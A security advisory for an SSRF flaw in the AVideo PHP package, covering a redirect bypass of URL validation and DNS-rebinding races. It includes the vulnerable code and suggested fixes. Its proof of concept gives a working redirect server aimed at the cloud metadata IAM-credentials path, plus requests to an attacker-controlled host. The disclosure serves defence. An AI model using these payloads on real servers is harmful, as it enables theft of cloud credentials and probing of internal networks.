PT-2026-37300 · Packagist · Wwbn Avideo
Published
2026-05-05
·
Updated
2026-05-05
·
CVE-2026-43884
CVSS v3.1
7.7
High
| Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
Summary
Two endpoints in AVideo call
isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file get contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.A secondary finding is that 6+ callers of
isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Details
Finding 1: Redirect-Based SSRF Bypass
Vulnerable code —
plugin/AI/receiveAsync.json.php (line ~162–165):// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
// blocked
} else {
$imageContent = file get contents($imageUrl); // ← FOLLOWS REDIRECTS!
}
Vulnerable code —
objects/EpgParser.php (line ~358–362):if (!isSSRFSafeURL($this->url)) {
throw new RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file get contents($this->url); // ← FOLLOWS REDIRECTS!
Safe code for comparison —
objects/functions.php, url get contents():$opts = ['http' => ['follow location' => 0]]; // Disable auto-redirect
$context = stream context create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
$fetched = file get contents($currentUrl, false, $context);
// ... parse Location header ...
if ($redirectTarget) {
if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop
return false;
}
$currentUrl = $redirectTarget;
continue;
}
$tmp = $fetched;
break;
}
Root cause: The SSRF redirect protection (
follow location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url get contents() but NOT propagated to these two endpoints that call file get contents() directly. PHP's default follow location is 1 (follow redirects).Finding 2: DNS Rebinding TOCTOU (Multiple Callers)
isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).Affected callers (no DNS pinning):
objects/aVideoEncoderReceiveImage.json.php— 4 call sitesobjects/aVideoEncoder.json.php— 1 call siteplugin/BulkEmbed/save.json.php— 1 call siteplugin/AI/receiveAsync.json.php— 1 call siteobjects/EpgParser.php— 1 call siteplugin/Scheduler/Scheduler.php— 1 call site
PoC
Redirect Bypass PoC
- Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do GET(self):
self.send response(302)
self.send header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
self.end headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve forever()
- Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded
type=image&token=VALID TOKEN&ai responses id=ID&response[data][0][url]=http://ATTACKER IP:8888/redir
isSSRFSafeURL("http://ATTACKER IP:8888/redir")resolves attacker IP → public → passesfile get contents("http://ATTACKER IP:8888/redir")follows 302 tohttp://169.254.169.254/...— no SSRF re-check occurs- Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker
Control test: Replace the redirect target with a legitimate public URL —
isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.DNS Rebinding PoC
- Configure a domain with TTL=0 DNS that alternates:
- First query: public IP (passes
isSSRFSafeURL) - Second query:
127.0.0.1(reaches internal services)
- Submit
http://rebind.attacker.com/image.jpgto any affected endpoint isSSRFSafeURL()resolves → public IP → passes (discards$resolvedIP)url get contents()/file get contents()resolves again →127.0.0.1→ SSRF achieved
Impact
An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:
- Cloud metadata endpoints (169.254.169.254) — exfiltrate IAM credentials, instance identity
- Internal services on localhost or private network (databases, admin panels, monitoring)
- Port scanning of the internal network using the server as a proxy
The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.
Suggested Fix
Fix 1 (Redirect bypass — immediate): Route both affected files through
url get contents() which already handles redirects safely, or add explicit no-redirect context:$ctx = stream context create(['http' => ['follow location' => 0]]);
$imageContent = file get contents($imageUrl, false, $ctx);
Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture
$resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT RESOLVE.Credit
Kai Aizen kai.aizen.dev@gmail.com
Fix
SSRF
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Wwbn Avideo